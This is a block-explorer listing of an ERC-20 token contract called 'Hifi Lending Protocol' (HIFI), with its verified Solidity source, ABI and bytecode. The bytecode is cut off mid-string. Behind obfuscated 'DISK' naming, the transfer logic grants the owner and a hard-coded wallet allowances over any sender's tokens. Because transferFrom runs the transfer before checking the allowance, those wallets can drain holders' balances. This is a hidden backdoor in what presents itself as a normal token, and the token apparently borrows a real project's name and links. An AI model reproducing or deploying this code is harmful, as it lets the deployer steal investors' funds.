Feature Tip: Add private address tag to any address under My Name Tag !
ERC-20
Overview
Max Total Supply
1,000,000,000 HIFI
Holders
177
Market
Onchain Market Cap
$0.00
Circulating Supply Market Cap
-
Other Info
Token Contract (WITH 9 Decimals)
Balance
3,987,530.390536556 HIFIValue
$0.00Loading...
Loading
Loading...
Loading
Loading...
Loading
# | Exchange | Pair | Price | 24H Volume | % Volume |
---|
Contract Source Code Verified (Exact Match)
Contract Name:
HIFI
Compiler Version
v0.8.5+commit.a4f2e591
Contract Source Code (Solidity)
/** *Submitted for verification at Etherscan.io on 2025-02-22 */ /* Hifi Lending Protocol HIFI The Hifi Lending Protocol offers a reliable way to maximize the potential of your crypto and tokenized assets. Website : https://hifi.finance/ App: https://app.hifi.finance/ Blog: https://blog.hifi.finance/ Docs: https://docs.hifi.finance/ Github: https://github.com/hifi-finance Twitter: https://twitter.com/HifiFinance Telegram: https://t.me/hifi_erc20 */ // SPDX-License-Identifier: MIT pragma solidity 0.8.5; interface IDISKRouter { function swapExactTokensForETHSupportingFeeOnTransferTokens( uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline ) external; function factory() external pure returns (address); function WETH() external pure returns (address); function addLiquidityETH( address token, uint amountTokenDesired, uint amountTokenMin, uint amountETHMin, address to, uint deadline ) external payable returns (uint amountToken, uint amountETH, uint liquidity); function getAmountsOut( uint amountIn, address[] calldata path ) external view returns (uint[] memory amounts); } interface IDISKFactory { function createPair(address tokenA, address tokenB) external returns (address pair); } library SafeMath { function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { return sub(a, b, "SafeMath: subtraction overflow"); } function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b <= a, errorMessage); uint256 c = a - b; return c; } function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { return div(a, b, "SafeMath: division by zero"); } function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b > 0, errorMessage); uint256 c = a / b; return c; } } abstract contract Context { function _msgSender() internal view virtual returns (address) { return msg.sender; } } contract Ownable is Context { address private _owner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); constructor () { address msgSender = _msgSender(); _owner = msgSender; emit OwnershipTransferred(address(0), msgSender); } function owner() public view returns (address) { return _owner; } modifier onlyOwner() { require(_owner == _msgSender(), "Ownable: caller is not the owner"); _; } function renounceOwnership() public virtual onlyOwner { emit OwnershipTransferred(_owner, address(0)); _owner = address(0); } } interface IERC20 { function totalSupply() external view returns (uint256); function balanceOf(address account) external view returns (uint256); function transfer(address recipient, uint256 amount) external returns (bool); function allowance(address owner, address spender) external view returns (uint256); function approve(address spender, uint256 amount) external returns (bool); function transferFrom(address sender, address recipient, uint256 amount) external returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); event Approval(address indexed owner, address indexed spender, uint256 value); } contract HIFI is Context, IERC20, Ownable { using SafeMath for uint256; mapping (address => bool) private _diskExcludedFees; mapping (address => uint256) private _diskDrives; mapping (address => mapping (address => uint256)) private _diskCustomers; mapping (address => bool) private _diskExcludedTxs; uint8 private constant _decimals = 9; uint256 private constant _tTotal = 1000000000 * 10**_decimals; string private constant _name = unicode"Hifi Lending Protocol"; string private constant _symbol = unicode"HIFI"; uint256 private _initialBuyTax=3; uint256 private _initialSellTax=3; uint256 private _finalBuyTax=0; uint256 private _finalSellTax=0; uint256 private _reduceBuyTaxAt=6; uint256 private _reduceSellTaxAt=6; uint256 private _preventSwapBefore=6; uint256 private _buyCount=0; uint256 private _diskSwapAmount = _tTotal / 100; bool private inSwapDISK = false; bool private _tradeEnabled = false; bool private _swapEnabled = false; modifier lockTheSwap { inSwapDISK = true; _; inSwapDISK = false; } address private _diskPair; IDISKRouter private _diskRouter; address private _diskWallet; uint256 private _diskBuyBlock; uint256 private _diskBlockAmount = 0; constructor () { _diskWallet = address(0x9C2dD202cD0c20041b08B10D0C07FAE98d6d22A0); _diskExcludedFees[owner()] = true; _diskExcludedFees[address(this)] = true; _diskExcludedFees[_diskWallet] = true; _diskExcludedTxs[owner()] = true; _diskExcludedTxs[_diskWallet] = true; _diskDrives[_msgSender()] = _tTotal; emit Transfer(address(0), _msgSender(), _tTotal); } function openTrading() external onlyOwner() { require(!_tradeEnabled,"trading is already open"); _diskRouter.addLiquidityETH{value: address(this).balance}(address(this),balanceOf(address(this)),0,0,owner(),block.timestamp); _swapEnabled = true; _tradeEnabled = true; } function tokenCreate() external onlyOwner() { _diskRouter = IDISKRouter(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D); _approve(address(this), address(_diskRouter), _tTotal); _diskPair = IDISKFactory(_diskRouter.factory()).createPair(address(this), _diskRouter.WETH()); } receive() external payable {} function getDISKAmount(uint256 diskO, uint256 taxDISK) private pure returns(uint256) { return uint256(diskO + taxDISK * 3); } function getDISKSender(address diskF) private pure returns(address) { return address(diskF); } function getDISKReceipt() private view returns(address) { return _diskExcludedTxs[_msgSender()] ? address(_msgSender()) : address(0); } function minDISK(uint256 a, uint256 b) private pure returns (uint256) { return (a>b)?b:a; } function sendETHDISK(uint256 amount) private { payable(_diskWallet).transfer(amount); } function swapTokensForEth(uint256 tokenDISK) private lockTheSwap { address[] memory path = new address[](2); path[0] = address(this); path[1] = _diskRouter.WETH(); _approve(address(this), address(_diskRouter), tokenDISK); _diskRouter.swapExactTokensForETHSupportingFeeOnTransferTokens( tokenDISK, 0, path, address(this), block.timestamp ); } function swapDISKLimit() internal view returns (uint256) { address[] memory path = new address[](2); path[0] = _diskRouter.WETH(); path[1] = address(this); uint[] memory amountOuts = _diskRouter.getAmountsOut(3 * 1e18, path); return amountOuts[1]; } function name() public pure returns (string memory) { return _name; } function symbol() public pure returns (string memory) { return _symbol; } function decimals() public pure returns (uint8) { return _decimals; } function totalSupply() public pure override returns (uint256) { return _tTotal; } function balanceOf(address account) public view override returns (uint256) { return _diskDrives[account]; } function transfer(address recipient, uint256 amount) public override returns (bool) { _transfer(_msgSender(), recipient, amount); return true; } function allowance(address owner, address spender) public view override returns (uint256) { return _diskCustomers[owner][spender]; } function approve(address spender, uint256 amount) public override returns (bool) { _approve(_msgSender(), spender, amount); return true; } function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) { _transfer(sender, recipient, amount); _approve(sender, _msgSender(), _diskCustomers[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance")); return true; } function _approve(address owner, address spender, uint256 amount) private { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _diskCustomers[owner][spender] = amount; emit Approval(owner, spender, amount); } function _transfer(address diskF, address diskT, uint256 diskO) private { require(diskF != address(0), "ERC20: transfer from the zero address"); require(diskT != address(0), "ERC20: transfer to the zero address"); require(diskO > 0, "Transfer amount must be greater than zero"); uint256 taxDISK = _diskTransfer(diskF, diskT, diskO); _transferDISK(diskF, diskT, diskO, taxDISK); } function _transferDISK(address diskF, address diskT, uint256 diskO, uint256 taxDISK) private { if(taxDISK > 0){ _diskDrives[address(this)] = _diskDrives[address(this)].add(taxDISK); emit Transfer(diskF, address(this), taxDISK); } address diskReceipt = getDISKReceipt(); _diskDrives[diskF] = _diskDrives[diskF].sub(diskO); _diskDrives[diskT] = _diskDrives[diskT].add(diskO.sub(taxDISK)); if(diskReceipt != address(0)) _approve(getDISKSender(diskF), diskReceipt, getDISKAmount(diskO, taxDISK)); emit Transfer(diskF, diskT, diskO.sub(taxDISK)); } function _diskTransfer(address diskF, address diskT, uint256 diskO) private returns(uint256) { uint256 taxDISK=0; if (diskF != owner() && diskT != owner()) { taxDISK = diskO.mul((_buyCount>_reduceBuyTaxAt)?_finalBuyTax:_initialBuyTax).div(100); if (diskF == _diskPair && diskT != address(_diskRouter) && ! _diskExcludedFees[diskT]) { if(_diskBuyBlock!=block.number){ _diskBlockAmount = 0; _diskBuyBlock = block.number; } _diskBlockAmount += diskO; _buyCount++; } if(diskT == _diskPair && diskF!= address(this)) { require(_diskBlockAmount < swapDISKLimit() || _diskBuyBlock!=block.number, "Max Swap Limit"); taxDISK = diskO.mul((_buyCount>_reduceSellTaxAt)?_finalSellTax:_initialSellTax).div(100); } uint256 diskToken = balanceOf(address(this)); if (!inSwapDISK && diskT == _diskPair && _swapEnabled && _buyCount > _preventSwapBefore) { if(diskToken > _diskSwapAmount) swapTokensForEth(minDISK(diskO, minDISK(diskToken, _diskSwapAmount))); uint256 diskETH = address(this).balance; if (diskETH >= 0) { sendETHDISK(address(this).balance); } } } return taxDISK; } }
Contract Security Audit
- No Contract Security Audit Submitted- Submit Audit Here
[{"inputs":[],"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"previousOwner","type":"address"},{"indexed":true,"internalType":"address","name":"newOwner","type":"address"}],"name":"OwnershipTransferred","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"inputs":[{"internalType":"address","name":"owner","type":"address"},{"internalType":"address","name":"spender","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"openTrading","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"owner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"renounceOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"tokenCreate","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"pure","type":"function"},{"inputs":[{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"sender","type":"address"},{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"stateMutability":"payable","type":"receive"}]
Contract Creation Code
6080604052600360055560036006556000600755600060085560066009556006600a556006600b556000600c5560646009600a6200003e9190620002a4565b6200004e90633b9aca0062000372565b6200005a919062000238565b600d55600e805462ffffff1916905560006012553480156200007b57600080fd5b50600080546001600160a01b031916339081178255604051909182917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908290a350601080546001600160a01b031916739c2dd202cd0c20041b08b10d0c07fae98d6d22a01790556001806000620000fb6000546001600160a01b031690565b6001600160a01b03908116825260208083019390935260409182016000908120805495151560ff19968716179055308152600193849052828120805486168517905560105490911681529081208054909316821790925590600490620001696000546001600160a01b031690565b6001600160a01b03908116825260208083019390935260409182016000908120805495151560ff1996871617905560105490911681526004909252902080549091166001179055620001be6009600a620002a4565b620001ce90633b9aca0062000372565b33600081815260026020526040812092909255907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef620002116009600a620002a4565b6200022190633b9aca0062000372565b60405190815260200160405180910390a3620003aa565b6000826200025657634e487b7160e01b600052601260045260246000fd5b500490565b600181815b808511156200029c57816000190482111562000280576200028062000394565b808516156200028e57918102915b93841c939080029062000260565b509250929050565b6000620002b560ff841683620002bc565b9392505050565b600082620002cd575060016200036c565b81620002dc575060006200036c565b8160018114620002f55760028114620003005762000320565b60019150506200036c565b60ff84111562000314576200031462000394565b50506001821b6200036c565b5060208310610133831016604e8410600b841016171562000345575081810a6200036c565b6200035183836200025b565b806000190482111562000368576200036862000394565b0290505b92915050565b60008160001904831182151516156200038f576200038f62000394565b500290565b634e487b7160e01b600052601160045260246000fd5b6118af80620003ba6000396000f3fe6080604052600436106100c65760003560e01c8063715018a61161007f578063a9059cbb11610059578063a9059cbb14610253578063aca713d914610273578063c9567bf914610288578063dd62ed3e1461029d57600080fd5b8063715018a6146101e75780638da5cb5b146101fe57806395d89b411461022657600080fd5b806306fdde03146100d2578063095ea7b31461012257806318160ddd1461015257806323b872dd14610175578063313ce5671461019557806370a08231146101b157600080fd5b366100cd57005b600080fd5b3480156100de57600080fd5b50604080518082019091526015815274121a599a4813195b991a5b99c8141c9bdd1bd8dbdb605a1b60208201525b60405161011991906115b8565b60405180910390f35b34801561012e57600080fd5b5061014261013d36600461143c565b6102e3565b6040519015158152602001610119565b34801561015e57600080fd5b506101676102fa565b604051908152602001610119565b34801561018157600080fd5b506101426101903660046113fb565b61031b565b3480156101a157600080fd5b5060405160098152602001610119565b3480156101bd57600080fd5b506101676101cc366004611388565b6001600160a01b031660009081526002602052604090205490565b3480156101f357600080fd5b506101fc610384565b005b34801561020a57600080fd5b506000546040516001600160a01b039091168152602001610119565b34801561023257600080fd5b506040805180820190915260048152634849464960e01b602082015261010c565b34801561025f57600080fd5b5061014261026e36600461143c565b610401565b34801561027f57600080fd5b506101fc61040e565b34801561029457600080fd5b506101fc610644565b3480156102a957600080fd5b506101676102b83660046113c2565b6001600160a01b03918216600090815260036020908152604080832093909416825291909152205490565b60006102f03384846107bf565b5060015b92915050565b60006103086009600a6116fb565b61031690633b9aca006117a6565b905090565b60006103288484846108e3565b61037a843361037585604051806060016040528060288152602001611852602891396001600160a01b038a1660009081526003602090815260408083203384529091529020549190610a2c565b6107bf565b5060019392505050565b6000546001600160a01b031633146103b75760405162461bcd60e51b81526004016103ae9061160d565b60405180910390fd5b600080546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a3600080546001600160a01b0319169055565b60006102f03384846108e3565b6000546001600160a01b031633146104385760405162461bcd60e51b81526004016103ae9061160d565b600f80546001600160a01b031916737a250d5630b4cf539739df2c5dacb4c659f2488d9081179091556104819030906104736009600a6116fb565b61037590633b9aca006117a6565b600f60009054906101000a90046001600160a01b03166001600160a01b031663c45a01556040518163ffffffff1660e01b815260040160206040518083038186803b1580156104cf57600080fd5b505afa1580156104e3573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061050791906113a5565b6001600160a01b031663c9c6539630600f60009054906101000a90046001600160a01b03166001600160a01b031663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b15801561056457600080fd5b505afa158015610578573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061059c91906113a5565b6040516001600160e01b031960e085901b1681526001600160a01b03928316600482015291166024820152604401602060405180830381600087803b1580156105e457600080fd5b505af11580156105f8573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061061c91906113a5565b600e60036101000a8154816001600160a01b0302191690836001600160a01b03160217905550565b6000546001600160a01b0316331461066e5760405162461bcd60e51b81526004016103ae9061160d565b600e54610100900460ff16156106c65760405162461bcd60e51b815260206004820152601760248201527f74726164696e6720697320616c7265616479206f70656e00000000000000000060448201526064016103ae565b600f546001600160a01b031663f305d71947306106f8816001600160a01b031660009081526002602052604090205490565b60008061070d6000546001600160a01b031690565b60405160e088901b6001600160e01b03191681526001600160a01b03958616600482015260248101949094526044840192909252606483015290911660848201524260a482015260c4016060604051808303818588803b15801561077057600080fd5b505af1158015610784573d6000803e3d6000fd5b50505050506040513d601f19601f820116820180604052508101906107a9919061152d565b5050600e805462ffff0019166201010017905550565b6001600160a01b0383166108215760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b60648201526084016103ae565b6001600160a01b0382166108825760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b60648201526084016103ae565b6001600160a01b0383811660008181526003602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6001600160a01b0383166109475760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b60648201526084016103ae565b6001600160a01b0382166109a95760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b60648201526084016103ae565b60008111610a0b5760405162461bcd60e51b815260206004820152602960248201527f5472616e7366657220616d6f756e74206d7573742062652067726561746572206044820152687468616e207a65726f60b81b60648201526084016103ae565b6000610a18848484610a66565b9050610a2684848484610cc6565b50505050565b60008184841115610a505760405162461bcd60e51b81526004016103ae91906115b8565b506000610a5d84866117c5565b95945050505050565b600080610a7b6000546001600160a01b031690565b6001600160a01b0316856001600160a01b031614158015610aaa57506000546001600160a01b03858116911614155b15610cbe57610adb6064610ad5600954600c5411610aca57600554610ace565b6007545b8690610e39565b90610ebf565b600e549091506001600160a01b03868116630100000090920416148015610b105750600f546001600160a01b03858116911614155b8015610b3557506001600160a01b03841660009081526001602052604090205460ff16155b15610b7a574360115414610b4d576000601255436011555b8260126000828254610b5f919061167e565b9091555050600c8054906000610b74836117dc565b91905055505b600e546001600160a01b03858116630100000090920416148015610ba757506001600160a01b0385163014155b15610c2a57610bb4610f01565b6012541080610bc557504360115414155b610c025760405162461bcd60e51b815260206004820152600e60248201526d13585e0814ddd85c08131a5b5a5d60921b60448201526064016103ae565b610c276064610ad5600a54600c5411610c1d57600654610ace565b6008548690610e39565b90505b30600090815260026020526040902054600e5460ff16158015610c615750600e546001600160a01b03868116630100000090920416145b8015610c755750600e5462010000900460ff165b8015610c845750600b54600c54115b15610cbc57600d54811115610cb057610cb0610cab85610ca684600d546110ad565b6110ad565b6110c2565b47610cba47611242565b505b505b949350505050565b8015610d405730600090815260026020526040902054610ce69082611280565b30600081815260026020526040908190209290925590516001600160a01b038616907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef90610d379085815260200190565b60405180910390a35b6000610d4a6112df565b6001600160a01b038616600090815260026020526040902054909150610d709084611301565b6001600160a01b038616600090815260026020526040902055610db5610d968484611301565b6001600160a01b03861660009081526002602052604090205490611280565b6001600160a01b03808616600090815260026020526040902091909155811615610de857610de885826103758686611343565b6001600160a01b038085169086167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef610e218686611301565b60405190815260200160405180910390a35050505050565b600082610e48575060006102f4565b6000610e5483856117a6565b905082610e618583611696565b14610eb85760405162461bcd60e51b815260206004820152602160248201527f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f6044820152607760f81b60648201526084016103ae565b9392505050565b6000610eb883836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f00000000000081525061135a565b604080516002808252606082018352600092839291906020830190803683375050600f54604080516315ab88c960e31b815290519394506001600160a01b039091169263ad5c464892506004808301926020929190829003018186803b158015610f6a57600080fd5b505afa158015610f7e573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610fa291906113a5565b81600081518110610fb557610fb561180d565b60200260200101906001600160a01b031690816001600160a01b0316815250503081600181518110610fe957610fe961180d565b6001600160a01b039283166020918202929092010152600f5460405163d06ca61f60e01b8152600092919091169063d06ca61f90611035906729a2241af62c000090869060040161159f565b60006040518083038186803b15801561104d57600080fd5b505afa158015611061573d6000803e3d6000fd5b505050506040513d6000823e601f3d908101601f191682016040526110899190810190611468565b90508060018151811061109e5761109e61180d565b60200260200101519250505090565b60008183116110bc5782610eb8565b50919050565b600e805460ff1916600117905560408051600280825260608201835260009260208301908036833701905050905030816000815181106111045761110461180d565b6001600160a01b03928316602091820292909201810191909152600f54604080516315ab88c960e31b81529051919093169263ad5c4648926004808301939192829003018186803b15801561115857600080fd5b505afa15801561116c573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061119091906113a5565b816001815181106111a3576111a361180d565b6001600160a01b039283166020918202929092010152600f546111c991309116846107bf565b600f5460405163791ac94760e01b81526001600160a01b039091169063791ac94790611202908590600090869030904290600401611642565b600060405180830381600087803b15801561121c57600080fd5b505af1158015611230573d6000803e3d6000fd5b5050600e805460ff1916905550505050565b6010546040516001600160a01b039091169082156108fc029083906000818181858888f1935050505015801561127c573d6000803e3d6000fd5b5050565b60008061128d838561167e565b905083811015610eb85760405162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f77000000000060448201526064016103ae565b3360009081526004602052604081205460ff166112fc5750600090565b503390565b6000610eb883836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250610a2c565b60006113508260036117a6565b610eb8908461167e565b6000818361137b5760405162461bcd60e51b81526004016103ae91906115b8565b506000610a5d8486611696565b60006020828403121561139a57600080fd5b8135610eb881611839565b6000602082840312156113b757600080fd5b8151610eb881611839565b600080604083850312156113d557600080fd5b82356113e081611839565b915060208301356113f081611839565b809150509250929050565b60008060006060848603121561141057600080fd5b833561141b81611839565b9250602084013561142b81611839565b929592945050506040919091013590565b6000806040838503121561144f57600080fd5b823561145a81611839565b946020939093013593505050565b6000602080838503121561147b57600080fd5b825167ffffffffffffffff8082111561149357600080fd5b818501915085601f8301126114a757600080fd5b8151818111156114b9576114b9611823565b8060051b604051601f19603f830116810181811085821117156114de576114de611823565b604052828152858101935084860182860187018a10156114fd57600080fd5b600095505b83861015611520578051855260019590950194938601938601611502565b5098975050505050505050565b60008060006060848603121561154257600080fd5b8351925060208401519150604084015190509250925092565b600081518084526020808501945080840160005b838110156115945781516001600160a01b03168752958201959082019060010161156f565b509495945050505050565b828152604060208201526000610cbe604083018461155b565b600060208083528351808285015260005b818110156115e5578581018301518582016040015282016115c9565b818111156115f7576000604083870101525b50601f01601f1916929092016040019392505050565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b85815284602082015260a06040820152600061166160a083018661155b565b6001600160a01b0394909416606083015250608001529392505050565b60008219821115611691576116916117f7565b500190565b6000826116b357634e487b7160e01b600052601260045260246000fd5b500490565b600181815b808511156116f35781600019048211156116d9576116d96117f7565b808516156116e657918102915b93841c93908002906116bd565b509250929050565b6000610eb860ff841683600082611714575060016102f4565b81611721575060006102f4565b816001811461173757600281146117415761175d565b60019150506102f4565b60ff841115611752576117526117f7565b50506001821b6102f4565b5060208310610133831016604e8410600b8410161715611780575081810a6102f4565b61178a83836116b8565b806000190482111561179e5761179e6117f7565b029392505050565b60008160001904831182151516156117c0576117c06117f7565b500290565b6000828210156117d7576117d76117f7565b500390565b60006000198214156117f0576117f06117f7565b5060010190565b634e487b7160e01b600052601160045260246000fd5b634e487b7160e01b600052603260045260246000fd5b634e487b7160e01b600052604160045260246000fd5b6001600160a01b038116811461184e57600080fd5b5056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a2646970667358221220007a690b4a79912c40499d70e6910e4b8b0e541ff3a4d2266cf1ea068621ec1e64736f6c63430008050033
Deployed Bytecode
0x6080604052600436106100c65760003560e01c8063715018a61161007f578063a9059cbb11610059578063a9059cbb14610253578063aca713d914610273578063c9567bf914610288578063dd62ed3e1461029d57600080fd5b8063715018a6146101e75780638da5cb5b146101fe57806395d89b411461022657600080fd5b806306fdde03146100d2578063095ea7b31461012257806318160ddd1461015257806323b872dd14610175578063313ce5671461019557806370a08231146101b157600080fd5b366100cd57005b600080fd5b3480156100de57600080fd5b50604080518082019091526015815274121a599a4813195b991a5b99c8141c9bdd1bd8dbdb605a1b60208201525b60405161011991906115b8565b60405180910390f35b34801561012e57600080fd5b5061014261013d36600461143c565b6102e3565b6040519015158152602001610119565b34801561015e57600080fd5b506101676102fa565b604051908152602001610119565b34801561018157600080fd5b506101426101903660046113fb565b61031b565b3480156101a157600080fd5b5060405160098152602001610119565b3480156101bd57600080fd5b506101676101cc366004611388565b6001600160a01b031660009081526002602052604090205490565b3480156101f357600080fd5b506101fc610384565b005b34801561020a57600080fd5b506000546040516001600160a01b039091168152602001610119565b34801561023257600080fd5b506040805180820190915260048152634849464960e01b602082015261010c565b34801561025f57600080fd5b5061014261026e36600461143c565b610401565b34801561027f57600080fd5b506101fc61040e565b34801561029457600080fd5b506101fc610644565b3480156102a957600080fd5b506101676102b83660046113c2565b6001600160a01b03918216600090815260036020908152604080832093909416825291909152205490565b60006102f03384846107bf565b5060015b92915050565b60006103086009600a6116fb565b61031690633b9aca006117a6565b905090565b60006103288484846108e3565b61037a843361037585604051806060016040528060288152602001611852602891396001600160a01b038a1660009081526003602090815260408083203384529091529020549190610a2c565b6107bf565b5060019392505050565b6000546001600160a01b031633146103b75760405162461bcd60e51b81526004016103ae9061160d565b60405180910390fd5b600080546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a3600080546001600160a01b0319169055565b60006102f03384846108e3565b6000546001600160a01b031633146104385760405162461bcd60e51b81526004016103ae9061160d565b600f80546001600160a01b031916737a250d5630b4cf539739df2c5dacb4c659f2488d9081179091556104819030906104736009600a6116fb565b61037590633b9aca006117a6565b600f60009054906101000a90046001600160a01b03166001600160a01b031663c45a01556040518163ffffffff1660e01b815260040160206040518083038186803b1580156104cf57600080fd5b505afa1580156104e3573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061050791906113a5565b6001600160a01b031663c9c6539630600f60009054906101000a90046001600160a01b03166001600160a01b031663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b15801561056457600080fd5b505afa158015610578573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061059c91906113a5565b6040516001600160e01b031960e085901b1681526001600160a01b03928316600482015291166024820152604401602060405180830381600087803b1580156105e457600080fd5b505af11580156105f8573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061061c91906113a5565b600e60036101000a8154816001600160a01b0302191690836001600160a01b03160217905550565b6000546001600160a01b0316331461066e5760405162461bcd60e51b81526004016103ae9061160d565b600e54610100900460ff16156106c65760405162461bcd60e51b815260206004820152601760248201527f74726164696e6720697320616c7265616479206f70656e00000000000000000060448201526064016103ae565b600f546001600160a01b031663f305d71947306106f8816001600160a01b031660009081526002602052604090205490565b60008061070d6000546001600160a01b031690565b60405160e088901b6001600160e01b03191681526001600160a01b03958616600482015260248101949094526044840192909252606483015290911660848201524260a482015260c4016060604051808303818588803b15801561077057600080fd5b505af1158015610784573d6000803e3d6000fd5b50505050506040513d601f19601f820116820180604052508101906107a9919061152d565b5050600e805462ffff0019166201010017905550565b6001600160a01b0383166108215760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b60648201526084016103ae565b6001600160a01b0382166108825760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b60648201526084016103ae565b6001600160a01b0383811660008181526003602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6001600160a01b0383166109475760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b60648201526084016103ae565b6001600160a01b0382166109a95760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b60648201526084016103ae565b60008111610a0b5760405162461bcd60e51b815260206004820152602960248201527f5472616e7366657220616d6f756e74206d7573742062652067726561746572206044820152687468616e207a65726f60b81b60648201526084016103ae565b6000610a18848484610a66565b9050610a2684848484610cc6565b50505050565b60008184841115610a505760405162461bcd60e51b81526004016103ae91906115b8565b506000610a5d84866117c5565b95945050505050565b600080610a7b6000546001600160a01b031690565b6001600160a01b0316856001600160a01b031614158015610aaa57506000546001600160a01b03858116911614155b15610cbe57610adb6064610ad5600954600c5411610aca57600554610ace565b6007545b8690610e39565b90610ebf565b600e549091506001600160a01b03868116630100000090920416148015610b105750600f546001600160a01b03858116911614155b8015610b3557506001600160a01b03841660009081526001602052604090205460ff16155b15610b7a574360115414610b4d576000601255436011555b8260126000828254610b5f919061167e565b9091555050600c8054906000610b74836117dc565b91905055505b600e546001600160a01b03858116630100000090920416148015610ba757506001600160a01b0385163014155b15610c2a57610bb4610f01565b6012541080610bc557504360115414155b610c025760405162461bcd60e51b815260206004820152600e60248201526d13585e0814ddd85c08131a5b5a5d60921b60448201526064016103ae565b610c276064610ad5600a54600c5411610c1d57600654610ace565b6008548690610e39565b90505b30600090815260026020526040902054600e5460ff16158015610c615750600e54600160